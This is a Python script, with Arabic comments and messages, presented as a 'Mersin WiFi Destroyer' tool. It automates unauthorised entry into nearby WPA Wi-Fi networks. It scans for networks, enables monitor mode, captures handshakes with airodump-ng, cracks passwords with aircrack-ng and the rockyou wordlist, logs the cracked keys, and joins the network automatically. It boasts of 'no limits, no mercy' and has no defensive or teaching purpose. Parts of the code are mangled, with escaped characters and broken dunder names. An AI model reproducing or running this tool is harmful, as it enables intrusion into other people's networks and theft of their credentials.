# mersin_wifi_destroyer_v99.py
# التطبيق الرسمي لأهل مرسين – نوفمبر 2025
# المبرمج: السوري 🔥
import subprocess
import threading
import queue
import time
import os
import re
import sys
from colorama import init, Fore, Style
init(autoreset=True)
R = Fore.RED + Style.BRIGHT
G = Fore.GREEN + Style.BRIGHT
Y = Fore.YELLOW + Style.BRIGHT
C = Fore.CYAN + Style.BRIGHT
M = Fore.MAGENTA + Style.BRIGHT
W = Fore.WHITE + Style.BRIGHT
print(f"""{R}
███╗ ███╗███████╗██████╗ ███████╗██╗███╗ ██╗ ██╗ ██╗██╗███████╗██╗
████╗ ████║██╔════╝██╔══██╗██╔════╝██║████╗ ██║ ██║ ██║██║██╔════╝██║
██╔████╔██║█████╗ ██████╔╝███████╗██║██╔██╗ ██║ ██║ █╗ ██║██║█████╗ ██║
██║╚██╔╝██║██╔══╝ ██╔══██╗╚════██║██║██║╚██╗██║ ██║███╗██║██║██╔══╝ ╚═╝
██║ ╚═╝ ██║███████╗██║ ██║███████║██║██║ ╚████║ ╚███╔███╔╝██║██║ ██╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝╚═╝ ╚═══╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝
{M}MERSIN WIFI DESTROYER V99 - السوري 🔥
""")
class MersinDestroyer:
def \__init_\_(self):
self.interface = "wlan0" if os.name != "nt" else "Wi-Fi"
self.networks = \[\]
self.found = False
self.queue = queue.Queue()
self.wordlist = "/usr/share/wordlists/rockyou.txt" # كالي
if not os.path.exists(self.wordlist):
self.wordlist = "rockyou.txt" # تيرمكس أو ويندوز
def banner(self):
print(f"{C}╔{'═'\*70}╗")
print(f"{C}║{W} مرسين 09:46 PM – الشبح الرقمي V99 مفعّل – لا قيود لا رحمة {C}║")
print(f"{C}╚{'═'\*70}╝\\n")
def scan_networks(self):
print(f"{Y}\[+\] جاري مسح الشبكات في مرسين...")
try:
if os.name == "nt": # ويندوز
result = subprocess.check_output("netsh wlan show networks mode=bssid", shell=True, text=True, encoding="utf-8", errors="ignore")
networks = re.findall(r"SSID\\s+\\d+\\s+:\\s+(.+?)\\n.\*?BSSID\\s+\\d+\\s+:\\s+(\[0-9A-F:\]{17})", result, re.DOTALL)
else: # لينكس / تيرمكس
subprocess.run("sudo iwlist wlan0 scan \> /dev/null 2\>&1", shell=True)
result = subprocess.check_output("sudo iwlist wlan0 scan", shell=True, text=True)
networks = re.findall(r"ESSID:\\"(.\*?)\\".\*?Address: (\[0-9A-F:\]{17})", result)
self.networks = \[{"ssid": ssid, "bssid": bssid} for ssid, bssid in networks if ssid.strip()\]
print(f"{G}\[+\] تم اكتشاف {len(self.networks)} شبكة حولك في مرسين:")
for i, net in enumerate(self.networks):
print(f"{C} \[{i+1}\] {W}{net\['ssid'\]} {Y}({net\['bssid'\]})")
except Exception as e:
print(f"{R}\[-\] فشل المسح: {e}")
def handshake_capture(self, bssid, channel):
print(f"{Y}\[+\] التقاط الهاندشيك لـ {bssid}...")
os.system(f"sudo timeout 30 airodump-ng -c {channel} --bssid {bssid} -w mersin_handshake wlan0mon")
def crack_wpa(self, ssid, bssid):
print(f"{R}\[!\] بدء كسر {ssid} بقوة الجحيم...")
cmd = f"aircrack-ng -w {self.wordlist} -b {bssid} mersin_handshake\*.cap"
result = subprocess.run(cmd, shell=True, text=True, capture_output=True)
if "KEY FOUND" in result.stdout:
password = re.search(r"\\\[ (.\*?) \\\]", result.stdout).group(1)
print(f"\\n{G}╔{'═'\*70}╗")
print(f"{G}║ تم كسر الشبكة يا أسد مرسين! ║")
print(f"{G}║ الشبكة: {W}{ssid:\<30}{G} ║")
print(f"{G}║ كلمة المرور: {W}{password:\<25}{G} ║")
print(f"{G}╚{'═'\*70}╝\\n")
with open("MERSIN_CRACKED.txt", "a", encoding="utf-8") as f:
f.write(f"{ssid}:{password}\\n")
\# اتصال تلقائي
os.system(f'nmcli dev wifi connect "{ssid}" password "{password}"')
self.found = True
return password
return None
def auto_attack(self):
self.scan_networks()
if not self.networks:
return
target = int(input(f"\\n{Y}\[?\] اختر رقم الشبكة للإبادة: {W}")) - 1
ssid = self.networks\[target\]\['ssid'\]
bssid = self.networks\[target\]\['bssid'\]
print(f"{R}\[!\] الهدف: {ssid} – مرسين هتنهيها دلوقتي...")
\# تفعيل وضع المونيتور
os.system("sudo airmon-ng start wlan0")
\# جلب القناة
os.system(f"sudo airodump-ng wlan0mon -d {bssid} -c 1-13 \> channel.txt & sleep 10; kill $!")
time.sleep(12)
try:
with open("channel.txt") as f:
channel = re.search(r"CH\\s+(\\d+)", f.read()).group(1)
except:
channel = "6"
\# التقاط الهاندشيك
capture_thread = threading.Thread(target=self.handshake_capture, args=(bssid, channel))
capture_thread.start()
time.sleep(35)
capture_thread.join()
\# كسر
self.crack_wpa(ssid, bssid)
\# إيقاف المونيتور
os.system("sudo airmon-ng stop wlan0mon")
if self.found:
print(f"{G}\[+\] السوري كسر الشبكة ودخلها من مرسين! 🔥")
else:
print(f"{R}\[!\] ما انكسرتش... بس بنرجع بـ 100 أداة أقوى!")
# تشغيل الجحيم
if _name_ == "_main_":
os.system("clear" if os.name != "nt" else "cls")
os.system("title مرسين WiFi Destroyer V99 - السوري")
if os.geteuid() != 0 and os.name != "nt":
print(f"{R}\[-\] شغّل الأداة بـ sudo يا زلمة!")
sys.exit()
destroyer = MersinDestroyer()
destroyer.banner()
destroyer.auto_attack()
input(f"\\n{Y}\[\*\] خلصنا... اضغط Enter وروح اشرب شاي يا ملك مرسين 🔥")